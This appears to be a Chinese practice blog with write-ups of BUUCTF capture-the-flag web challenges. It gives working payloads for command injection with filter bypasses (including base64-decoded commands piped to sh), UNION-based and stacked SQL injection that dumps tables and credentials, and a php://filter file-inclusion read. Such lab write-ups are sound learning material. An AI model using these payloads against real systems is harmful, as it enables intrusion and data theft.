3.18练习

发布于:2025-03-20 ⋅ 阅读:(18) ⋅ 点赞:(0)

BUUCTF练习day2

[GXYCTF2019]Ping Ping Ping

ping题有点熟悉的命令注入,使用

127.0.0.1;ls

可以得到当前目录的文件名

请添加图片描述

cat一下flag.php,发现不行

请添加图片描述

过滤了空格,那我们有什么方法绕过呢

  • <(重定向符号)
  • ${IFS}
  • $IFS$9
  • %09(tab键)

试一试发现过滤了<和${IFS}和%09,页面都回显出这个

请添加图片描述

试了一下$IFS$9可以,回显出这个页面

请添加图片描述

说明过滤了flag字符,那这里又可以学习关键词绕过知识点

  • cat$IFS$9fl\ag.php

  • b=ag;a=fl;cat$IFS$9$a$b.php

  • echo$IFS$9Y2F0JElGUyQ5ZmxhZy5waHA=|base64$IFS$9-d|sh

  • cat$IFS$9fla*

    完整payload

?ip=127.0.0.1;a=fl;b=ag;cat$IFS$9$a$b.php

请添加图片描述

[SUCTF 2019]EasySQL

输入1

请添加图片描述

输入1’没有任何回显

请添加图片描述

输入1"

请添加图片描述

这里确实与我之前做的SQL不同,普通的联合查询不行,学习一下别人的wpwp
可以学习到堆叠注入和一种情况数字回显字母不回显,说明有一个 或 结构

请添加图片描述

[极客大挑战 2019]LoveSQL

这是之前的遇到一个题目变形3.17练习

判断闭合方式

试一试1和1’和1"发现输入1’时回显不正常的页面(提示有语法错误)

请添加图片描述

那么闭合方式是单引号闭合

判断列数

使用(密码随便填的,用户名中的%23是#,起注释作用)

1' order by 1,2,3,4%23

回显出的页面表示没有第4列

请添加图片描述

试一试三列,回显正常(没有报语法错误)

请添加图片描述

那么确定一共三列

查询回显位(从数据库将数据回显到页面的位置)

-1' union select 1,2,3%23

图中的2和3的位置就是回显位,说明这个题有两个回显位

请添加图片描述

查询数据库名,用户

-1' union select 1,user(),database()%23

请添加图片描述

说明当前数据库是geek用户是root

查询表名

1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='geek'%23

请添加图片描述

可以知道当前数据库的表有两个geekuser和l0ve1ysq1(这是一个题目,我们要的是用户信息,因为一般有flag)

查询geekuser表的字段名

1' union select 1,group_concat(column_name),3 from information_schema.columns where table_name='geekuser'%23

请添加图片描述

那么可以知道geek这个数据库的geekuser这张表下有三个字段id,username,password,

那我们将它们查询出来

查询字段内容

1' union select 1,group_concat(id,0x2A,username,0x3A,password),3 from geekuser%23

请添加图片描述

那现在已经知道了账号和密码,那就拿去登录

请添加图片描述

发现不对,那就看看另一个表

思路一样

查询字段名

1' union select 1,group_concat(column_name),3 from information_schema.columns where table_name='l0ve1ysq1'%23

请添加图片描述

查询字段名(0x3A表示将这些字段内容以冒号分隔开)

1' union select 1,group_concat(id,0x3A,username,0x3A,password),3 from l0ve1ysq1%23

请添加图片描述

得到flag

flag{2cf1ec82-e163-471a-a6ce-d00a01219738}

[强网杯 2019]随便注(字符型)

又是一道SQL注入

判断注入点

试一试1’

请添加图片描述

出现语法错误,闭合方式是单引号

判断列数

1' order by 4%23

请添加图片描述

没有第四列(通过相同的方式判断出只有两列)

1' order by 2%23

请添加图片描述

寻找回显位

在寻找回显位时,发现select被过滤了

请添加图片描述

select被禁用,联合查询,报错注入,布尔,时间盲注就都不可以使用了,我们只剩下堆叠注入

查询表名

1'; show tables;#

请添加图片描述

有两个表1919810931114514和words

查询两个表的字段

当数据表为数字时需要用反引号括起来

1'; show columns from words;#
1'; show columns from `1919810931114514`;#

请添加图片描述

请添加图片描述

使用handler代替select

参考wp

1'; handler `1919810931114514`open as a; handler a read next;#

请添加图片描述

[极客大挑战 2019]Secret File

打开环境,没有什么发现,查看源代码,发现一个链接

请添加图片描述

点击后发现一个

请添加图片描述

再点击,题目题目告述我们结束了,但是什么都没有发现,那就抓包看看

从点击select开始

请添加图片描述

发现一个注释后的页面

打开,发现代码,要进行代码审计

请添加图片描述

文件包含漏洞,常见思路使用伪协议

php://filter/convert.base64-encode/resource=flag.php

请添加图片描述

解码可以得到flag

请添加图片描述